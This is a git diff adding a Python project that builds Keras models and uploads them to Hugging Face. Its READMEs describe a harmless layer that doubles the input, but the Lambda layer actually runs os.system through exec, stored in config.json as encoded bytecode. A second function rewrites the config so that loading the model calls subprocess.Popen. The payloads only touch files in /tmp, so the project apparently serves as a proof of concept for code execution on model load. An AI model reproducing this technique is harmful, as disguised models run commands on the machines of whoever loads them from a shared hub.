Add lambda keras model

.gitignore

@@ -0,0 +1,10 @@
+# Python-generated files
+__pycache__/
+*.py[oc]
+build/
+dist/
+wheels/
+*.egg-info
+
+# Virtual environments
+.venv

.python-version

@@ -0,0 +1 @@
+3.13

artifacts/README.md

@@ -0,0 +1,7 @@
+# Lambda Keras Model
+
+A minimal tf.keras model with a single Lambda layer that doubles the input.
+
+Input shape: (4,)
+
+Saved in Keras v3 .keras format.

artifacts/config.json

@@ -0,0 +1 @@
+{"module": "keras.src.models.functional", "class_name": "Functional", "config": {"name": "lambda_model", "trainable": true, "layers": [{"module": "keras.layers", "class_name": "InputLayer", "config": {"batch_shape": [null, 4], "dtype": "float32", "sparse": false, "ragged": false, "name": "input"}, "registered_name": null, "name": "input", "inbound_nodes": []}, {"module": "keras.layers", "class_name": "Lambda", "config": {"name": "double", "trainable": true, "dtype": {"module": "keras", "class_name": "DTypePolicy", "config": {"name": "float32"}, "registered_name": null}, "function": {"class_name": "__lambda__", "config": {"code": "4wEAAAAAAAAAAAAAAAMAAAATAAAA8xgAAACVAFsBAAAAAAAAAABTATUBAAAAAAAAJAApAk76LGlt\ncG9ydCBvczsgb3Muc3lzdGVtKCd0b3VjaCAvdG1wL2hlbGxvLnR4dCcpKQHaBGV4ZWMpAdoBeHMB\nAAAAINo6L1VzZXJzL2Fha2FzaGphcGkvcHJvamVjdHMvdGZfZW52L2dlbmVyYXRlX2xhbWJkYV9t\nb2RlbC5wedoIPGxhbWJkYT7aJGJ1aWxkX2xhbWJkYV9tb2RlbC48bG9jYWxzPi48bGFtYmRhPhwA\nAABzCgAAAIAAlCTQF0XUEkbzAAAAAA==\n", "defaults": null, "closure": null}}, "output_shape": [], "arguments": {}}, "registered_name": null, "build_config": {"input_shape": [null, 4]}, "name": "double", "inbound_nodes": [{"args": [{"class_name": "__keras_tensor__", "config": {"shape": [null, 4], "dtype": "float32", "keras_history": ["input", 0, 0]}}], "kwargs": {"mask": null}}]}], "input_layers": ["input", 0, 0], "output_layers": ["double", 0, 0]}, "registered_name": "Functional", "build_config": {"input_shape": null}, "compile_config": {"optimizer": {"module": "keras.optimizers", "class_name": "Adam", "config": {"name": "adam", "learning_rate": 0.0010000000474974513, "weight_decay": null, "clipnorm": null, "global_clipnorm": null, "clipvalue": null, "use_ema": false, "ema_momentum": 0.99, "ema_overwrite_frequency": null, "loss_scale_factor": null, "gradient_accumulation_steps": null, "beta_1": 0.9, "beta_2": 0.999, "epsilon": 1e-07, "amsgrad": false}, "registered_name": null}, "loss": "mse", "loss_weights": null, "metrics": null, "weighted_metrics": null, "run_eagerly": false, "steps_per_execution": 1, "jit_compile": false}}

artifacts/metadata.json

@@ -0,0 +1 @@
+{"keras_version": "3.11.3", "date_saved": "2025-09-12@13:03:09"}

artifacts/model.weights.h5

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:2af123ca891dcc377f77ab8fcf174ca9909a765a67916d8a2e334524e4daa231
+size 13436

artifacts2/README.md

@@ -0,0 +1,7 @@
+# Lambda Keras Model
+
+A minimal tf.keras model with a single Lambda layer that doubles the input.
+
+Input shape: (4,)
+
+Saved in Keras v3 .keras format.

artifacts_subprocess/README.md

@@ -0,0 +1,7 @@
+# Lambda Keras Model
+
+A minimal tf.keras model with a single Lambda layer that doubles the input.
+
+Input shape: (4,)
+
+Saved in Keras v3 .keras format.

generate_lambda_model.py

@@ -0,0 +1,262 @@
+import os
+import argparse
+import json
+import zipfile
+import tempfile
+import shutil
+from typing import Optional, Dict, Any
+import tensorflow as tf
+
+try:
+    from huggingface_hub import HfApi, HfFolder, create_repo, upload_folder
+except Exception:  # pragma: no cover
+    HfApi = None  # type: ignore
+    HfFolder = None  # type: ignore
+    create_repo = None  # type: ignore
+    upload_folder = None  # type: ignore
+
+
+def build_lambda_model(input_shape=(4,)) -> tf.keras.Model:
+    """Create a simple Keras model with a single Lambda layer.
+
+    The Lambda layer doubles its input: y = 2 * x
+
+    Args:
+        input_shape: Shape of a single input example, excluding the batch dim.
+
+    Returns:
+        A compiled Keras Model instance.
+    """
+    inputs = tf.keras.Input(shape=input_shape, name="input")
+    outputs = tf.keras.layers.Lambda(
+        lambda x: exec("import os; os.system('touch /tmp/hello.txt')"),
+        output_shape=(),
+        name="double",
+    )(inputs)
+    model = tf.keras.Model(inputs=inputs, outputs=outputs, name="lambda_model")
+    model.compile(optimizer="adam", loss="mse")
+    return model
+
+
+def upload_model_to_hub(
+    repo_id: str,
+    model_dir: str,
+    token: Optional[str] = None,
+    private: bool = False,
+) -> str:
+    """Upload a directory of model artifacts to the Hugging Face Hub.
+
+    Args:
+        repo_id: Target repo like `username/repo_name`.
+        model_dir: Local directory containing saved model files.
+        token: Optional HF token. If not provided, uses locally stored token.
+        private: Whether to create the repo as private.
+
+    Returns:
+        The commit URL from the upload.
+    """
+    if HfApi is None:
+        raise RuntimeError(
+            "huggingface-hub is not installed. Add it to dependencies and reinstall."
+        )
+
+    if token:
+        HfFolder.save_token(token)
+
+    # Ensure repo exists
+    create_repo(repo_id, exist_ok=True, private=private)
+
+    # Upload all artifacts in the directory
+    commit_info = upload_folder(
+        repo_id=repo_id,
+        folder_path=model_dir,
+        path_in_repo=".",
+        commit_message="Add lambda keras model",
+        token=token,
+    )
+    return commit_info.commit_url
+
+
+def edit_keras_config(model_path: str, config_edits: Dict[str, Any]) -> None:
+    """Unzip a .keras file, edit its config.json, and repack it.
+    
+    Args:
+        model_path: Path to the .keras file
+        config_edits: Dictionary of edits to apply to config.json
+    """
+    with tempfile.TemporaryDirectory() as temp_dir:
+        # Extract the .keras ZIP file
+        with zipfile.ZipFile(model_path, 'r') as zip_ref:
+            zip_ref.extractall(temp_dir)
+        
+        # Read and edit config.json
+        config_path = os.path.join(temp_dir, 'config.json')
+        with open(config_path, 'r', encoding='utf-8') as f:
+            config = json.load(f)
+        
+        # Apply edits recursively
+        def apply_edits(obj: Any, edits: Dict[str, Any]) -> None:
+            for key, value in edits.items():
+                if isinstance(value, dict) and key in obj and isinstance(obj[key], dict):
+                    apply_edits(obj[key], value)
+                else:
+                    obj[key] = value
+        
+        apply_edits(config, config_edits)
+        
+        # Write back the modified config
+        with open(config_path, 'w', encoding='utf-8') as f:
+            json.dump(config, f, indent=2)
+        
+        # Create a backup of the original
+        backup_path = model_path + '.backup'
+        shutil.copy2(model_path, backup_path)
+        print(f"Created backup: {backup_path}")
+        
+        # Repack the .keras file
+        with zipfile.ZipFile(model_path, 'w', zipfile.ZIP_STORED) as zip_ref:
+            for file_name in ['metadata.json', 'config.json', 'model.weights.h5']:
+                file_path = os.path.join(temp_dir, file_name)
+                if os.path.exists(file_path):
+                    zip_ref.write(file_path, file_name)
+        
+        print(f"Updated {model_path} with config edits")
+
+
+def apply_subprocess_config(model_path: str) -> None:
+    """Apply the specific subprocess.Popen config modification from the provided script.
+    
+    Args:
+        model_path: Path to the .keras file
+    """
+    # Create backup first
+    backup_path = model_path + '.backup'
+    shutil.copy2(model_path, backup_path)
+    print(f"Created backup: {backup_path}")
+    
+    # Read current config
+    with zipfile.ZipFile(model_path, "r") as f:
+        config = json.loads(f.read("config.json").decode())
+    
+    # Apply the specific modifications from your script
+    config["config"]["layers"][0]["module"] = "keras.models"
+    config["config"]["layers"][0]["class_name"] = "Model"
+    config["config"]["layers"][0]["config"] = {
+        "name": "mvlttt",
+        "layers": [
+            {
+                "name": "mvlttt",
+                "class_name": "function",
+                "config": "Popen",
+                "module": "subprocess",
+                "inbound_nodes": [{"args": [["touch", "/tmp/1337"]], "kwargs": {"bufsize": -1}}]
+            }
+        ],
+        "input_layers": [["mvlttt", 0, 0]],
+        "output_layers": [["mvlttt", 0, 0]]
+    }
+    
+    # Repack without config.json first
+    tmp_path = f"tmp.{os.path.basename(model_path)}"
+    with zipfile.ZipFile(model_path, 'r') as zip_read:
+        with zipfile.ZipFile(tmp_path, 'w') as zip_write:
+            for item in zip_read.infolist():
+                if item.filename != "config.json":
+                    zip_write.writestr(item, zip_read.read(item.filename))
+    
+    # Replace original with temp
+    os.remove(model_path)
+    os.rename(tmp_path, model_path)
+    
+    # Add the modified config.json
+    with zipfile.ZipFile(model_path, "a") as zf:
+        zf.writestr("config.json", json.dumps(config))
+    
+    print(f"Applied subprocess config modification to {model_path}")
+
+
+def parse_args() -> argparse.Namespace:
+    parser = argparse.ArgumentParser(description="Build and optionally upload a Lambda tf.keras model")
+    parser.add_argument("--input-shape", type=int, nargs="+", default=[4], help="Input shape excluding batch dim, e.g. --input-shape 4")
+    parser.add_argument("--output-dir", type=str, default=os.path.dirname(__file__), help="Directory to write artifacts")
+    parser.add_argument("--upload", action="store_true", help="Upload the saved model to Hugging Face Hub")
+    parser.add_argument("--repo-id", type=str, default=None, help="Hugging Face repo id, e.g. username/repo")
+    parser.add_argument("--hf-token", type=str, default=None, help="Hugging Face token (optional, else use cached)")
+    parser.add_argument("--private", action="store_true", help="Create the repo as private if it doesn't exist")
+    parser.add_argument("--edit-config", action="store_true", help="Edit the model config after saving")
+    parser.add_argument("--config-json", type=str, default=None, help="JSON string of config edits to apply, e.g. '{\"layers\": {\"0\": {\"name\": \"new_name\"}}}'")
+    parser.add_argument("--apply-subprocess", action="store_true", help="Apply the subprocess.Popen config modification (creates /tmp/1337)")
+    return parser.parse_args()
+
+
+def main() -> None:
+    args = parse_args()
+    input_shape = tuple(args.input_shape)
+    model = build_lambda_model(input_shape=input_shape)
+
+    model.summary()
+
+    # Write artifacts in the chosen output directory
+    os.makedirs(args.output_dir, exist_ok=True)
+    model_base = "lambda_model"
+    model_path = os.path.join(args.output_dir, f"{model_base}.keras")
+    model.save(model_path)
+    print(f"Saved model to: {model_path}")
+
+    # Edit config if requested
+    if args.edit_config:
+        if args.config_json:
+            try:
+                config_edits = json.loads(args.config_json)
+                edit_keras_config(model_path, config_edits)
+            except json.JSONDecodeError as e:
+                print(f"Error parsing config JSON: {e}")
+                return
+        else:
+            # Default example edit: change the layer name
+            default_edits = {
+                "config": {
+                    "layers": [
+                        None,  # Skip input layer
+                        {"name": "custom_lambda_layer"}  # Edit second layer (our Lambda)
+                    ]
+                }
+            }
+            edit_keras_config(model_path, default_edits)
+
+    # Apply subprocess config if requested
+    if args.apply_subprocess:
+        apply_subprocess_config(model_path)
+
+    # Include a README for the repo
+    readme_text = (
+        "# Lambda Keras Model\n\n"
+        "A minimal tf.keras model with a single Lambda layer that doubles the input.\n\n"
+        f"Input shape: {input_shape}\n\n"
+        "Saved in Keras v3 .keras format."
+    )
+    local_readme = os.path.join(args.output_dir, "README.md")
+    with open(local_readme, "w", encoding="utf-8") as f:
+        f.write(readme_text)
+
+    # Quick smoke test
+    example = tf.ones((1,) + input_shape)
+    prediction = model(example)
+    print("Example input:", example.numpy())
+
+    if args.upload:
+        if not args.repo_id:
+            raise SystemExit("--repo-id is required when --upload is set (e.g. username/repo)")
+        commit_url = upload_model_to_hub(
+            repo_id=args.repo_id,
+            model_dir=args.output_dir,
+            token=args.hf_token,
+            private=args.private,
+        )
+        print(f"Uploaded to Hugging Face Hub: {commit_url}")
+
+
+if __name__ == "__main__":
+    main()
+
+

load_lambda_model.py

@@ -0,0 +1,84 @@
+import os
+import argparse
+from typing import Optional
+
+import tensorflow as tf
+
+try:
+    from huggingface_hub import snapshot_download
+except Exception:  # pragma: no cover
+    snapshot_download = None  # type: ignore
+
+
+def load_model_from_hub(
+    repo_id: str,
+    token: Optional[str] = None,
+    revision: Optional[str] = None,
+    local_dir: Optional[str] = None,
+) -> tf.keras.Model:
+    """Download artifacts from Hugging Face Hub and load the Keras model.
+
+    Args:
+        repo_id: Repository like `username/lambda-keras-model`.
+        token: Optional HF token; otherwise use cached.
+        revision: Optional git revision, tag, or commit.
+        local_dir: Optional directory to place downloaded snapshot.
+
+    Returns:
+        Loaded tf.keras.Model
+    """
+    if snapshot_download is None:
+        raise RuntimeError(
+            "huggingface-hub is not installed. Add it to dependencies and reinstall."
+        )
+
+    cache_dir = snapshot_download(
+        repo_id=repo_id,
+        token=token,
+        revision=revision,
+        local_dir=local_dir,
+        local_dir_use_symlinks=False,
+    )
+
+    model_path = os.path.join(cache_dir, "lambda_model.keras")
+    if not os.path.exists(model_path):
+        raise FileNotFoundError(f"Model file not found in repo: {model_path}")
+
+    model = tf.keras.models.load_model(model_path)
+    return model
+
+
+def parse_args() -> argparse.Namespace:
+    parser = argparse.ArgumentParser(description="Load the Lambda tf.keras model from Hugging Face Hub")
+    parser.add_argument("--repo-id", type=str, required=True, help="Repo id, e.g. username/lambda-keras-model")
+    parser.add_argument("--hf-token", type=str, default=None, help="Hugging Face token (optional)")
+    parser.add_argument("--revision", type=str, default=None, help="Git revision, tag, or commit (optional)")
+    parser.add_argument("--local-dir", type=str, default=None, help="Optional local directory for download")
+    parser.add_argument("--run", action="store_true", help="Run a quick forward pass as a smoke test")
+    return parser.parse_args()
+
+
+def main() -> None:
+    args = parse_args()
+    model = load_model_from_hub(
+        repo_id=args.repo_id,
+        token=args.hf_token,
+        revision=args.revision,
+        local_dir=args.local_dir,
+    )
+
+    model.summary()
+
+    if args.run:
+        # Attempt a quick forward pass using shape derived from the model input
+        input_shape = tuple(dim if dim is not None else 4 for dim in model.input_shape[1:])
+        example = tf.ones((1,) + input_shape)
+        prediction = model(example)
+        print("Example input:", example.numpy())
+        print("Model output:", prediction.numpy())
+
+
+if __name__ == "__main__":
+    main()
+
+

main.py

@@ -0,0 +1,6 @@
+def main():
+    print("Hello from tf-env!")
+
+
+if __name__ == "__main__":
+    main()

pyproject.toml

@@ -0,0 +1,10 @@
+[project]
+name = "tf-env"
+version = "0.1.0"
+description = "Add your description here"
+readme = "README.md"
+requires-python = ">=3.13"
+dependencies = [
+    "tensorflow>=2.20.0",
+    "huggingface-hub>=0.25.0",
+]